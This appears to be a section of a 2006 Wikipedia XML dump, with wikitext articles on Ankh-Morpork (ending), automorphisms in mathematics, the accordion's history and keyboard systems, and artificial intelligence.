Ankh-Morpork is twinned with the town of [[Wincanton]] in [[Somerset]], in the south-west [[United Kingdom]] on the spherical [[planet]] [[Earth]] (also known as [[Minor Discworld concepts#Roundworld|Roundworld]]). The town is home to a Discworld shop called [http://www.artificer.co.uk/ The Cunning Artificer] which is named after a street in Ankh-Morpork. The fact that [[Witches (Discworld)|witches]], [[Rincewind|wizards]] and even [[The Luggage]] have been seen in the vicinity of the shop suggests that it may be one of the [[Minor Discworld concepts#Wandering_Shops|wandering shops]] encountered in ''[[The Light Fantastic]]'' and ''[[Soul Music]]''. 

==References==
*Pratchett, Terry (1983). ''[[The Colour of Magic]]''. Colin Smythe.
*Pratchett, Terry (1989). ''[[Guards! Guards!]]''. Gollancz.
*Pratchett, Terry (1993). ''[[Men At Arms]]''. Gollancz.
*Pratchett, Terry (1996). ''[[Feet of Clay]]''. Gollancz.
*Pratchett, Terry (1997). ''[[Jingo (novel)|Jingo]]''. Gollancz.
*Pratchett, Terry (2000). ''[[The Truth (novel)|The Truth]]''. Gollancz.
*Pratchett, Terry (2002). ''[[Night Watch (novel)|Night Watch]]''. Gollancz.
*Pratchett, Terry &amp; Briggs, Stephen (1993). ''The Streets Of Ankh Morpork''. Corgi.
*Pratchett, Terry &amp; Briggs, Stephen (2003). ''The Discworld Companion'' (3rd ed.). Gollancz.
*Pratchett, Terry &amp; Pearson, Bernard (2004). ''The Discworld Almanak''. Doubleday.
*Pratchett, Terry &amp; Kidby, Paul (2004). ''The Art of Discworld'' ISBN 0575075112. Gollancz.

{{Discworld}}

[[Category:Discworld locations]]
[[Category:Fictional towns and cities]]

[[bg:Анкх-Морпорк]]
[[cs:Ankh-Morpork]]
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    </revision>
  </page>
  <page>
    <title>Automorphism</title>
    <id>1160</id>
    <revision>
      <id>38358177</id>
      <timestamp>2006-02-05T20:48:26Z</timestamp>
      <contributor>
        <username>Tosha</username>
        <id>37304</id>
      </contributor>
      <minor />
      <comment>/* Reference */ ru</comment>
      <text xml:space="preserve">In [[mathematics]], an '''automorphism''' is an [[isomorphism]] from a mathematical object to itself. It is, in some sense, a [[symmetry]] of the object, and a way of [[map (mathematics)|mapping]] the object to itself while preserving all of its structure.  The set of all automorphisms of an object forms a [[group (mathematics)|group]], called the '''automorphism group'''. It is, loosely speaking, the [[symmetry group]] of the object.

== Definition ==

The exact definition of an automorphism depends on the type of &quot;mathematical object&quot; in question and what, precisely, constitutes an &quot;isomorphism&quot; of that object. The most general setting in which these words have meaning is an abstract branch of mathematics called [[category theory]]. Category theory deals with abstract objects and [[morphism]]s between those objects.

In category theory, an '''automorphism''' is an [[endomorphism]] (i.e. a [[morphism]] from an object to itself) which is also an [[Category theory#Types of morphisms|isomorphism]] (in the categorical sense of the word). 

This is a very abstract definition since, in category theory, morphisms aren't necessarily functions and objects aren't necessarily sets. In most concrete settings, however, the objects will be sets with some additional structure and the morphisms will be functions preserving that structure.

In the context of [[abstract algebra]], for example, a mathematical object is an [[algebraic structure]] such as a [[group (mathematics)|group]], [[ring (mathematics)|ring]], or [[vector space]]. An isomorphism is simply a [[bijective]] [[homomorphism]]. (Of course, the definition of a homomorphism depends on the type of algebraic structure; see, for example: [[group homomorphism]], [[ring homomorphism]], and [[linear operator]]).

== Automorphism group ==

The set of automorphisms of an object ''X'' form a [[group (mathematics)|group]] under composition of [[morphism]]s. This group is called the '''automorphism group''' of ''X''. That this is indeed a group is simple to see:
* [[Closure (binary operation)|Closure]]: composition of two endomorphisms is another endomorphism.
* [[Associativity]]: morphism composition is associative by definition.
* [[Identity element|Identity]]: the identity is the identity morphism from an object to itself which exists by definition.
* [[Inverse element|Inverses]]: by definition every isomorphism has an inverse which is also an isomorphism, and since the inverse is also an endomorphism of the same object it is an automorphism.

The automorphism group of an object ''X'' in a category ''C'' is denoted Aut&lt;sub&gt;''C''&lt;/sub&gt;(''X''), or simply Aut(''X'') if the category is clear from context.

== Examples ==

*In [[set theory]], an automorphism of a set ''X'' is an arbitrary [[permutation]] of the elements of ''X''. The automorphism group of ''X'' is also called the [[symmetric group]] on ''X''.

*A group automorphism is a [[group isomorphism]] from a group to itself. Informally, it is a permutation of the group elements such that the structure remains unchanged. For every group ''G'' there is a natural group homomorphism ''G'' &amp;rarr; Aut(''G'') whose [[kernel (algebra)|kernel]] is the [[center of a group|center]] of ''G''. Thus, if ''G'' is centerless it can be embedded into its own automorphism group. (See the discussion on inner automorphisms below).

*In [[linear algebra]], an endomorphism of a [[vector space]] ''V'' is a [[linear transformation|linear operator]] ''V'' &amp;rarr; ''V''. An automorphism is an invertible linear operator on ''V''. The automorphism group of ''V'' is just the [[general linear group]], GL(''V'').

*A field automorphism is a [[bijection|bijective]] [[ring homomorphism]] from a [[field (mathematics)|field]] to itself. In the case of the [[rational number]]s, '''Q''', or the [[real number]]s, '''R''', there are no nontrivial field automorphisms (this follows from the fact that such automorphisms are [[Monotonic function|order-preserving]]). In the case of the [[complex number]]s, '''C''', there is a unique nontrivial automorphism that sends '''R''' into '''R''': [[complex conjugate|complex conjugation]], but there are infinitely many &quot;wild&quot; automorphisms (see the paper by Yale cited below).  Field automorphisms are important to the theory of [[field extension]]s, in particular [[Galois extension]]s. In the case of a Galois extension ''L''/''K'' the [[subgroup]] of all automorphisms of ''L'' fixing ''K'' pointwise is called the [[Galois group]] of the extension.

*The set of [[integer]]s, '''Z''', considered as a group under addition, has a unique nontrivial automorphism : negation. Considered as a [[ring (mathematics)|ring]], however, it has only the trivial automorphism. Generally speaking, negation is an automorphism of any [[abelian group]], but not of a ring or field.

*In [[graph theory]] an automorphism of a graph is a permutation of the nodes that preserves edges and non-edges.  In particular, if two nodes are joined by an edge, so are their images under the permutation.

*In [[order theory]], see [[order automorphism]].

*An automorphism of a differentiable [[manifold]] ''M'' is a [[diffeomorphism]] from ''M'' to itself. The automorphism group is sometimes denoted Diff(''M'').

*In [[Riemannian geometry]] an automorphism is a self-[[isometry]]. The automorphism group is also called the [[isometry group]].

*In the category of [[Riemann surface]]s, an automorphism is a bijective [[holomorphic function|holomorphic]] map (also called a [[conformal map]]), from a surface to itself. For example, the automorphisms of the [[Riemann sphere]] are [[Möbius transformation]]s.

== Inner and outer automorphisms ==

In some categories&amp;mdash;notably [[group (mathematics)|group]]s, [[ring (mathematics)|ring]]s, and [[Lie algebra]]s&amp;mdash;it is possible to separate automorphisms into two classes.

In the case of groups:

The [[inner automorphism]]s are the conjugations by the elements of the group itself. For each element ''a'' of a group ''G'', conjugation by ''a'' is the operation &amp;phi;&lt;sub&gt;''a''&lt;/sub&gt; :  ''G''&amp;nbsp;&amp;rarr;&amp;nbsp;''G'' given by &amp;phi;&lt;sub&gt;''a''&lt;/sub&gt;(''g'') = ''aga''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;. One can easily check that conjugation by ''a'' is actually a group automorphism. They form a [[normal subgroup]] of Aut(''G''), denoted by Inn(''G''). 

The other automorphisms are called [[outer automorphism]]s. The [[quotient group]] Aut(''G'')&amp;nbsp;/&amp;nbsp;Inn(''G'') is usually denoted by Out(''G''); the non-trivial elements are the cosets containing the outer automorphisms.

The same definition holds in any [[unital]] [[ring (mathematics)|ring]] or [[algebra over a field|algebra]] where ''a'' is any [[Unit (ring theory)|invertible element]]. For [[Lie algebra]]s the definition is slightly different.

== See also ==

*[[endomorphism]]
*[[endomorphism ring]]
*[[antiautomorphism]]
*[[Frobenius automorphism]]

== Reference ==

Yale, Paul B.  ''Mathematics Magazine''.  &quot;Automorphisms of the Complex Numbers&quot;.  Vol 39.  Num. 3.  May, 1966.  pp. 135-141.  Available via http://www.jstor.org

[[Category:Abstract algebra]]
[[Category:Algebra]]
[[Category:Category theory]]
[[Category:Symmetry]]

&lt;!--[[en:Automorphism]]--&gt;

[[de:Automorphismus]]
[[es:Automorfismo]]
[[fr:Automorphisme]]
[[nl:Automorfisme]]
[[pl:Automorfizm]]
[[ru:Автоморфизм]]</text>
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  <page>
    <title>Accordion</title>
    <id>1162</id>
    <revision>
      <id>41876968</id>
      <timestamp>2006-03-02T08:15:31Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <comment>/* External links */ {{commonscat|accordions}}</comment>
      <text xml:space="preserve">{{SpecialChars}}[[Image:Accordion.png|thumb|right|A button accordion]]An '''accordion''' is a [[musical instrument]] of the handheld [[bellows]]-driven [[free reed aerophone]] family, sometimes referred to as [[squeezebox]]es.

The accordion is played by compression and expansion of a bellows, which generates air flow across [[reed (music)|reeds]]; a [[Musical keyboard|keyboard]] controls which reeds receive air flow and therefore the tones produced.

:''For a full description of the sound-producing mechanism, see '''[[Free reed aerophone]]'''.''

== Physical description ==
Modern accordions consists of a body in two parts, each generally rectangular in shape, separated by a bellows.  On each part of the body is a [[Musical keyboard|keyboard]] containing buttons, levers or [[piano]]-style keys.  When pressed, the buttons travel in a direction perpendicular to the motion of the bellows (towards the performer).  Most, but not all modern accordions also have buttons capable of producing entire [[chord (music)|chords]], whereas concertinas' buttons produce only single notes.

The related [[concertina]] differs in that its buttons never produce chords and travel parallel to the travel of the bellows (towards the opposite end of the instrument); there are also differences in the internal materials, construction, mechanics, and [[tone color]], but the basic principles of sound production are identical.

== History ==
The accordion is one of several [[Europe]]an inventions of the early [[19th century]] that used free reeds driven by a bellows; notable among them were:
*The [[Aeoline]], by German Bernhard Eschenbach (and his cousin, Caspar Schlimbach), [[1810]].
**Was a piano with added aeoline register.
**Aeoline Harmonika and Pysharmonika are very similar names at that time.
*** Aeoline and Aura ware first without bellows or keyboard.
*The [[Hand Physhamonika]] [[Anton Haeckel]] [[1818]] Hand type mentioned in music newspaper [[1821]].
*The [[flutina]], by Pichenot Jeune, ca. [[1831]]
*The [[concertina]], patented in two forms (perhaps independently):
**[[Carl Friedrich Uhlig]], [[1834]].
**[[Sir Charles Wheatstone]], examples built after 1829, but not patented until [[1844]]

An instrument called '''accordion''' was first patented in [[1829]] by Cyrill Demian in [[Vienna]].  (Interestingly, the original patent shows the name &quot;eoline&quot; crossed out and replaced with &quot;accordion&quot; in different handwriting).  Demian's instrument bore little resemblance to modern instruments: It only had a left hand keyboard; the right hand simply operated the bellows.  One key feature for which Damian sought the patent was the sounding of an entire chord by depressing one key.  His instrument also could sound two different chords with the same key: one for each bellows direction (press, draw); this is called a ''bisonoric'' action.

At that time in Vienna, mouth harmonicas with &quot;Kanzellen&quot; (chambers) had already been available for many years, along with bigger instruments driven by hand bellows. The diatonic key arrangement was also already in use on mouth-blown instruments. Demian's patent thus covered an accompanying instrument: an accordion played with the left hand, opposite to the way that comtemporary chromatic hand harmonicas were played, small and light enough to for travellers to take with them and use to accompany singing. The patent also described instruments with both bass and treble sections, although Demian preferred the bass-only instrument owing to its cost and weight advantages.

The musician Adolph Müller described a great variety of instruments in his [[1833]]  &quot;Schule für Accordion&quot;.
At the time, Vienna and London had a close musical relationship, with musicians often performing in both cities in the same year, so it is possible that Wheatstone was aware of this type of instrument and may have used them to put his key-arrangement ideas into practice.

Jeune's flutina resembles Wheatstone's concertina in internal construction and [[tone color]], but it appears to complement Demian's accordion functionally.  The flutina is a one-sided bisonoric melody-only instrument whose keys are operated with the right hand while the bellows is operated with the left.  When the two instruments are combined, the result is quite similar to diatonic button accordions still manufactured today. 

Further innovations followed and continue to the present: Various keyboard systems have been developed; voicings (the combination of multiple tones at different octaves) have been developed, with mechanisms to switch between different voices during performance; different methods of internal construction to improve tone, stability and durability, and so on.

== Piano accordions ==
[[Image:KlavierAccordeon.jpg|thumbnail|right|a piano accordion]]
The '''piano accordion''' is the instrument most often indicated by the term &quot;accordion&quot;, but it is one of the most recent inventions among accordion types, appearing late in the 19th century and not accepted worldwide until the early [[20th century]].  It has a right-hand [[keyboard (music)|keyboard]] similar to a [[piano]]; this facilitates learning for musicians already familiar or proficient on the piano.

The left hand keyboard is usually configured in the [[#Stradella bass system|Stradella system]], a combination of chords and single notes, arranged in a uniform series by harmonic relationship.  Occasionally a ''free bass'' left hand is used, which has a series of single buttons in an arrangement similar to the chromatic button accordion.  The free bass system facilitates the playing of bass melodies and counterpoint.  It also allows for chord inversion and invention of chords not present in the Stradella system.

''Converter'' bass systems allow an instrument to be readily converted from a Stradella system to a free-bass system with a switch.

The instrument was popularized in the United States by Count [[Guido Deiro]] who was the first piano accordionist to perform in [[Vaudeville]]. He is credited with making the first recordings of the instrument in [[1908]], making the first [[radio]] broadcast of the accordion in [[1921]] and the first sound [[film|motion picture]] featuring the accordion, for [[Vitaphone]], in [[1928]].

== Button accordions ==
[[Image:C-Griff.svg|thumb|Chromatic button system (type C)]]
[[Image:B-Griff.svg|thumb|Chromatic button system (type B)]]
On '''button accordions''' the [[melody]]-side [[Musical keyboard|keyboard]] consists of a series of [[button]]s (rather than [[piano]]-style keys.)  There exists a wide variation in keyboard systems, tuning, action and construction of these instruments.

'''Diatonic button accordions''' have a [[melody]]-side keyboard that is  limited to the notes of [[diatonic]] [[scale (music)|scales]] in a small number of [[key (music)|keys]] (sometimes only one).  The [[bass (music)|bass]] side usually contains the principal [[chord (music)|chords]] of the instrument's key and the root notes of those chords.

[[Image:Busking_Accordionist.jpg|thumb|Garmon' player]]Almost all diatonic button accordions (e.g.: [[melodeon]]) are bisonoric, meaning each button produces two notes: one when the [[bellows]] is compressed, another while it is expanded;  a few instruments (e.g.: [[garmon']]) are unisonoric, with each button producing the same note regardless of bellows direction; still others have a combination of the two types of action: ''See [[#Hybrids|Hybrids]] below.''

A '''chromatic button accordion''' is a type of button accordion where the melody-side keyboard consists of uniform rows of buttons arranged so that the pitch increases [[chromatic scale|chromatically]] along diagonals.  The bass-side keyboard is usually the Stradella system, one of the various free-bass systems, or a converter system. Included among chromatic button accordions is the [[Russia]]n [[Bayan (accordion)|bayan]]. Sometimes an instrument of this class is simply called a '''chromatic accordion''', although other types, including the piano accordion, are fully chromatic as well. There can be 3 to 5 rows of treble buttons.  In a 5 row chromatic, two additional rows repeat the first 2 rows to facilitate options in fingering.  Chromatic button accordions are preferred by many [[European classical music|classical music]] performers, since the treble keyboard with diagonally arranged buttons allows a greater range than a piano keyboard configuration.

Various cultures have made their own versions of the accordion, adapted to suit their own music.  [[Russia]] alone has several, including the [[Bayan]], [[Garmon]], [[Livenka]], and [[Saratovskaya Garmonika]].

Various '''hybrids''' have been created between instruments of different keyboards and actions.  Many remain curiosities, only a few have remained in use.  Some notable examples are:
*The [[Schrammel accordion]], used in [[Vienna|Viennese]] [[chamber music]] and [[Klezmer]], which has the treble keyboard of a chromatic button accordion and a bisonoric bass keyboard, similar to an expanded diatonic button accordion.  
*The [[schwyzerörgeli]] or [[Switzerland|Swiss]] organ, which has a (usually) 3-row diatonic treble and 18 unisonoric bass buttons in a bass/chord arrangement (actually a subset of the Stradella system), that travel parallel to the bellows motion.
*The [[trikitixa]] of the [[Basque people]] has a 2-row diatonic, bisonoric treble and a 12-button diatonic unisonoric bass.
*In [[Scotland]], the favoured diatonic accordion is, paradoxically, the instrument known as the [[British Chromatic Accordion]]. While the right hand is bisonoric, the left hand follows the Stradella system. The elite form of this instrument is generally considered to be the German manufactured &quot;Shand Morino&quot;, produced by Hohner with the input of the late Sir Jimmy Shand. {{Ref|Howard98}}

==Stradella bass system==
[[Image:Acchords.png|thumb|right|250px|Stradella bass layout]]

The '''Stradella Bass System''' uses rows of buttons arranged in a [[circle of fifths]]; this places the principal major chords of a key in three adjacent rows.  Each row contains, in order:  A major third (the &quot;counter-bass&quot; note), the root note, the major chord, the minor chord, the seventh chord, and the diminished seventh chord.

Depending on the price, size or origin of the instrument, some rows may be missing completely or in different positions. In most Russian layouts the diminished seventh chord row is moved by one button, so that the C diminished seventh chord is where the F diminished seventh chord would be in a standard Stradella layout; this is done in order to achieve a better reachability with the forefinger.

Common configurations are:
*&quot;12 Bass&quot; accordion: Fundamental Bass goes from B&amp;#9837; to A (the third to eighth column in the picture above), and only has Fundamental Bass and major chords.
*&quot;24 Bass&quot; goes from A&amp;#9837; to A, and has Fundamental Bass, major and minor chords
*&quot;32 Bass&quot; goes from E&amp;#9837; to E, and has FB, major, minor and seventh chords
*&quot;48 Bass&quot; goes from E&amp;#9837; to E, and has all six rows
*&quot;72 Bass&quot; goes from D&amp;#9837; to F&amp;#9839;, and has all six rows
*&quot;80 Bass&quot; goes from C&amp;#9837; to G&amp;#9839;, and has everything except diminished
*&quot;96 Bass&quot; is as 80 Bass, but with all six rows
*&quot;120 Bass&quot; goes from A&amp;#9837;&amp;#9837; (i.e. low G) to A&amp;#9839; &amp;mdash; that's 20 columns &amp;mdash; with all six rows.

== Free bass systems ==
There are various free bass systems in use; most consist of a rotated version or mirror image of one of the melody layouts used in chromatic button accordions. One notable exception is the Titano line of converter bass, which repeats the first two bass rows of the Stradella system one and two octaves higher moving outward from the bellows.

Skillfull use of the free bass system enabled the performance of classical piano music, rather than music arranged specifically for the accordion's standard chorded capability. Beginning in the 1960s, competitive performance on the accordion of classical piano compositions, by the great masters of music, occurred.  Although never mainstreamed in the larger musical scene, this convergence with traditional classical music propelled young accordionists to an ultimate involvement with classical music heretofore not experienced.

Many modern and [[avant-garde]] composers (such as [[Sofia Gubaidulina]], [[Luciano Berio]] and [[Magnus Lindberg]]) have written for the free bass accordion and the instrument is becoming more frequently integrated into [[new music]] chamber and improvisation groups.

== Audio samples ==
*{{Listen|filename=accordian_chords-01.ogg|title=Accordion chords|description=Chords being played on an accordion &amp;mdash; 145 KB |format=[[Ogg]]}}

==Related instruments==
=== Squeezeboxes ===
*[[Concertina]]
*[[Bandoneon]]
*[[Flutina]]
=== Other free-reeds ===
*[[Harmonica]]
*[[Harmonium]]
*[[Melodica]]
*[[Sheng]]
*[[Khene]]

==Trivia==
*Despite the popularity of the accordion, especially in [[polka]] music by artists such as [[Lawrence Welk]], [[Myron Floren]], [[Frankie Yankovic]] and [[&quot;Weird Al&quot; Yankovic]] (no relation), the instrument does have its critics. An oft-reprinted cartoon in ''[[The Far Side]]'' is a split panel in which the upper half is captioned, &quot;Welcome to Heaven... here's your harp!&quot; while the lower panel is captioned, &quot;Welcome to Hell... here's your accordion!&quot;

==References==
#{{Note|Howard98}}p.98, Howard, Rob (2003) ''An A to Z of the Accordion and related instruments'' Stockport:Robaccord Publications ISBN 0-9546711-0-4

==External links==
{{commonscat|accordions}}
*[http://www.mcrow.net/Accordion%20Virus.htm Accordion synth software for Reaktor]

{{Squeezebox}}


[[Category:Free reed aerophones]]
[[Category:Keyboard instruments]]
[[Category:Sets of free reeds]]

[[de:Akkordeon]]
[[es:Acordeón]]
[[eo:Akordiono]]
[[fr:Accordéon]]
[[gl:Acordeón]]
[[ia:Accordion]]
[[it:Fisarmonica]]
[[he:אקורדיון]]
[[nl:Accordeon]]
[[ja:アコーディオン]]
[[no:Trekkspill]]
[[nn:Trekkspel]]
[[pl:Akordeon]]
[[pt:Sanfona]]
[[ru:Гармонь]]
[[fi:Harmonikka]]
[[sv:Dragspel]]
[[uk:Акордеон]]
[[zh:手风琴]]</text>
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  <page>
    <title>Artificial intelligence</title>
    <id>1164</id>
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      <timestamp>2006-03-03T13:48:33Z</timestamp>
      <contributor>
        <username>Tailpig</username>
        <id>312490</id>
      </contributor>
      <comment>Revert to revision 42030028 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{portal}}
[[Image:HONDA ASIMO.jpg|200px|thumb|right|Honda's intelligent humanoid robot]]
{{Redirect|AI}}
'''Artificial intelligence''' ('''AI''') is defined as [[intelligence (trait)|intelligence]] exhibited by an [[artificial]] entity. Such a system is generally assumed to be a [[computer]].

Although AI has a strong [[science fiction]] connotation, it forms a vital branch of [[computer science]], dealing with intelligent [[behavior]], [[learn]]ing and [[adaptation]] in [[machine]]s. [[Research]] in AI is concerned with producing machines to automate tasks requiring intelligent behavior. Examples include [[control system|control]], [[Automated planning and scheduling|planning and scheduling]], the ability to answer diagnostic and consumer questions, [[handwriting recognition|handwriting]], [[speech recognition|speech]], and [[facial recognition system|facial recognition]]. As such, it has become a [[scientific]] discipline, focused on providing solutions to real life problems. AI systems are now in routine use in [[economics]], [[medicine]], [[engineering]] and the [[military]], as well as being built into many common home computer [[Computer software|software]] applications, traditional strategy games like [[computer chess]] and other [[video games]].

==Schools of thought==

AI divides roughly into two schools of thought: Conventional AI and [[Computational Intelligence]] (CI). 

Conventional AI mostly involves methods now classified as [[machine learning]], characterized by [[formalism]] and [[statistical analysis]]. This is also known as [[symbolic]] AI, [[logical]] AI, [[Neats|neat AI]] and [[GOFAI|Good Old Fashioned Artificial Intelligence (GOFAI)]]. (Also see [[semantics]].) Methods include:
*[[Expert system]]s: apply reasoning capabilities to reach a conclusion. An expert system can process large amounts of known information and provide conclusions based on them.
*[[Case based reasoning]]
*[[Bayesian network]]s
*[[Behavior based AI]]:  a modular method of building AI systems by hand.

Computational Intelligence involves [[iterative]] development or learning (e.g. parameter tuning e.g. in  [[connectionist]] systems). Learning is based on [[empirical]] data and is associated with non-symbolic AI, [[Scruffies|scruffy AI]] and [[soft computing]]. Methods mainly include:
*[[Neural network]]s: systems with very strong [[pattern recognition]] capabilities.
*[[Fuzzy system]]s: techniques for [[reasoning under uncertainty]], has been widely used in modern industrial and consumer product control systems.
*[[Evolutionary computation]]: applies biologically inspired concepts such as [[population]]s, [[mutation]] and [[survival of the fittest]] to generate increasingly better solutions to the problem. These methods most notably divide into [[evolutionary algorithm]]s (e.g. [[genetic algorithm]]s) and [[swarm intelligence]] (e.g. [[ant colony optimization|ant algorithm]]s).

With [[hybrid intelligent system]]s attempts are made to combine these two groups. Expert inference rules can be generated through neural network or [[production rule]]s from statistical learning such as in [[ACT-R]].

==History==
{{main|History of artificial intelligence}}

Early in the 17th century, [[René Descartes]] proposed that bodies of animals are nothing more than complex machines. [[Blaise Pascal]] created the first mechanical digital calculating machine in [[1642]]. In the 19th century, [[Charles Babbage]] and [[Ada Lovelace]] worked on programmable mechanical calculating machines.

[[Bertrand Russell]] and [[Alfred North Whitehead]] published ''[[Principia Mathematica]]'', which revolutionized formal logic. [[Warren McCulloch]] and [[Walter Pitts]] published &quot;A Logical Calculus of the Ideas Immanent in Nervous Activity&quot; in [[1943]] laying foundations for [[neural network]]s.

The 1950s were a period of active efforts in AI.  The first working AI programs were written in 1951 to run on the Ferranti Mark I machine of the University of Manchester (UK):  a draughts-playing program written by Christopher Strachey and a chess-playing program written by Dietrich Prinz.  [[John McCarthy (computer scientist)|John McCarthy]] coined the term &quot;artificial intelligence&quot; in the first conference devoted to the subject, in 1956. He also invented the [[Lisp programming language]]. [[Alan Turing]] introduced the &quot;[[Turing test]]&quot; as a way of operationalizing a test of intelligent behavior. [[Joseph Weizenbaum]] built [[ELIZA]], a [[chatterbot]] implementing [[Rogerian psychotherapy]].

During the 1960s and 1970s, [[Joel Moses]] demonstrated the power of symbolic reasoning for integration problems in the Macsyma program, the first successful knowledge-based program in mathematics. [[Marvin Minsky]] and [[Seymour Papert]] publish ''Perceptrons'', demonstrating limits of simple neural nets and [[Alain Colmerauer]] developed the [[Prolog]] computer language. [[Ted Shortliffe]] demonstrated the power of rule-based systems for [[knowledge representation]] and inference in medical diagnosis and therapy in what is sometimes called the first expert system. [[Hans Moravec]] developed the first computer-controlled vehicle to [[autonomous vehicle|autonomously]] negotiate cluttered obstacle courses.

In the 1980s, neural networks became widely used with the [[backpropagation]] algorithm, first described by [[Paul John Werbos]] in [[1974]]. The 1990s marked major achievements in many areas of AI and demonstrations of various applications. Most notably [[Deep Blue]], a chess-playing computer, beat [[Garry Kasparov]] in a famous six-game match in 1997. [[Defense Advanced Research Projects Agency|DARPA]] stated that the costs saved by implementing AI methods for scheduling units in the first [[Gulf War]] have repaid the US government's entire investment in AI research since the 1950s.

==Philosophy==
{{portalpar|Mind and Brain}}
''Main article: [[Philosophy of artificial intelligence]]''

The [[strong AI]] vs. weak AI debate is still a hot topic amongst AI [[philosopher]]s. This involves [[philosophy of mind]] and the [[mind-body problem]]. Most notably [[Roger Penrose]] in his book ''[[The Emperor's New Mind]]'' and [[John Searle]] with his &quot;[[Chinese room]]&quot; [[thought experiment]] argue that true [[consciousness]] can not be achieved by [[formal logic]] systems, while [[Douglas Hofstadter]] in ''[[Gödel, Escher, Bach]]'' and [[Daniel Dennett]] in ''[[Consciousness Explained]]'' argue in favour of [[Functionalism (philosophy of mind)|Functionalism]]. In many strong AI supporters’ opinion, [[artificial consciousness]] is considered as the [[list of holy grails|holy grail]] of artificial intelligence.

==Science fiction==
In [[science fiction]] AI is commonly portrayed as an upcoming power trying to overthrow human authority as in [[HAL 9000]], [[Skynet]], [[Colossus: The Forbin Project|Colossus]] and [[The Matrix]] or as service [[humanoid]]s like [[C-3PO]], [[Data (Star Trek)|Data]], the [[Bicentennial Man]], the ''Mechas'' in [[A.I. (film)|A.I.]] or Sonny in [[I, Robot (film)|I, Robot]].
&lt;!--this is not a list of your favorite sci-fi AI, keep it short and use only famous and clear examples--&gt;

The inevitability of AI world domination, sometimes called &quot;[[Technological singularity|the Singularity]]&quot;, is also argued by some science writers like [[Isaac Asimov]], [[Vernor Vinge]] and [[Kevin Warwick]]. In works such as the Japanese [[manga]] ''[[Ghost in the Shell (manga)|Ghost in the Shell]]'', the existence of intelligent machines questions the definition of life as organisms rather than a broader category of autonomous entities, establishing a notional concept of systemic intelligence. 
''See [[list of fictional computers]] and [[list of fictional robots and androids]].''

==See also==
{{wikibookspar||Artificial Intelligence}}

*[[Philosophy of artificial intelligence]]
*[[Strong Artificial Intelligence]]
*[[Functionalism]] - a philosophical theory of mind which allows for artificial intelligence

Typical problems to which AI methods are applied: 
*[[Pattern recognition]]
**[[Optical character recognition]]
**[[Handwriting recognition]]
**[[Speech recognition]]
**[[Facial recognition system|Face recognition]]

*[[Natural language processing]], [[Translation]] and [[Chatterbot]]s
*[[Non-linear control]] and [[Robotics]]
*[[Computer vision]], [[Virtual reality]] and [[Image processing]]
*[[Game theory]] and [[Strategic planning]]
*[[Game AI]] and [[Computer game bot]]
*[[Artificial Creativity]]

Other fields in which AI methods are implemented:
*[[Automation]]
*[[Bio-inspired computing]]
*[[Cybernetics]]
*[[Hybrid intelligent system]]
*[[Intelligent agent]]
*[[Intelligent control]]
*[[Automated reasoning]]
*[[Data mining]]
*[[Behavior-based robotics]]
*[[Cognitive robotics]]
*[[Developmental robotics]]
*[[Evolutionary robotics]]
*[[Chatbot]]
*[[Knowledge Representation]]

== Links to researchers, projects &amp; institutions ==
*[[:Category:Artificial intelligence researchers|List of AI researchers]]
*[[List of Artificial Intelligence projects|List of AI projects]]
*[[List of important publications in computer science#Artificial intelligence|List of important AI publications]]

== External links==

*[http://www.aaai.org/ American Association for Artificial Intelligence]
*[http://agiri.org/ AGIRI - Artificial General Intelligence Research Institute]
*[http://www.eccai.org/ European Coordinating Committee for Artificial Intelligence]
*[http://www.dfki.de/ German Research Center for Artificial Intelligence, DFKI]
*[http://www.cild.iastate.edu/ Center for Computational Intelligence, Learning, and Discovery @ Iowa State University]
*[http://ai-news.elzemozgurce.net/ Artificial Intelligence News]
*[http://www.auai.org/ Association for Uncertainty in Artificial Intelligence]
*[http://www.singinst.org Singularity Institute for Artificial Intelligence]
*[http://www.aisb.org.uk/ The Society for the Study of AI and Simulation of Behaviour]
*[http://www.cs.berkeley.edu/~russell/ai.html University of California at Berkeley AI Resources] links to 868 AI resource pages
*[http://www.loebner.net/Prizef/loebner-prize.html Loebner Prize website].
*[http://commonsense.media.mit.edu/cgi-bin/search.cgi/ OpenMind CommonSense] 
*[http://sourceforge.net/softwaremap/trove_list.php?form_cat=133 SourceForge Open Source AI projects] - 1139 projects
*[http://www.aaai.org/AITopics/html/ethics.html Ethical and Social Implications of AI en Computerization]
*[http://www.geocities.com/fhzeya20042000/lisp.htm A tutorial on AI programming language LISP]
*[http://web.media.mit.edu/~minsky/ Marvin Minsky's Homepage]
*[http://www.csail.mit.edu/ MIT's Computer Science and Artificial Intelligence Lab]
*[http://www.isi.edu/divisions/div3/ AI research group at Information Sciences Institute]
*[http://www.alanturing.net/turing_archive/pages/Reference%20Articles/What%20is%20AI.html What is Artificial Intelligence?]
*[http://uk.arxiv.org/abs/cs.AI/0601052 Artificial and biological intelligence]
*[http://plato.stanford.edu/entries/logic-ai/ Stanford Encyclopedia of Philosophy entry on Logic and Artificial Intelligence]
*[http://www.ai-junkie.com/ AI-Junkie: Genetic Algorithm and Neural Network tutorials]
*[http://www-ai.cs.uni-dortmund.de/ Artificial Intelligence Group] @ University of Dortmund, Germany
&lt;!--This is not a list of your pet website or article, or favorite AI software &amp; books. please add those to the appropriate links in the see also section. Keep this list short and use only famous and clear examples--&gt;


[[Category:Artificial intelligence]]
[[Category:Computer science]]

[[ar:ذكاء اصطناعي]]
[[bg:Изкуствен интелект]]
[[bs:Vještačka inteligencija]]
[[ca:Intel·ligència artificial]]
[[cs:Umělá inteligence]]
[[da:Kunstig intelligens]]
[[de:Künstliche Intelligenz]]
[[et:Tehisintellekt]]
[[es:Inteligencia artificial]]
[[eo:Artefarita inteligenteco]]
[[eu:Adimen artifiziala]]
[[fa:هوش مصنوعی]]
[[fr:Intelligence artificielle]]
[[gl:Intelixencia artificial]]
[[ko:인공 지능]]
[[hi:आर्टिफिशियल इंटेलिजेंस]]
[[hr:Umjetna inteligencija]]
[[io:Artifical inteligenteso]]
[[id:Kecerdasan Buatan]]
[[is:Gervigreind]]
[[it:Intelligenza artificiale]]
[[he:בינה מלאכותית]]
[[lt:Dirbtinis intelektas]]
[[hu:Mesterséges intelligencia]]
[[nl:Kunstmatige intelligentie]]
[[ja:人工知能]]
[[no:Kunstig intelligens]]
[[pl:Sztuczna inteligencja]]
[[pt:Inteligência artificial]]
[[ro:Inteligenţă artificială]]
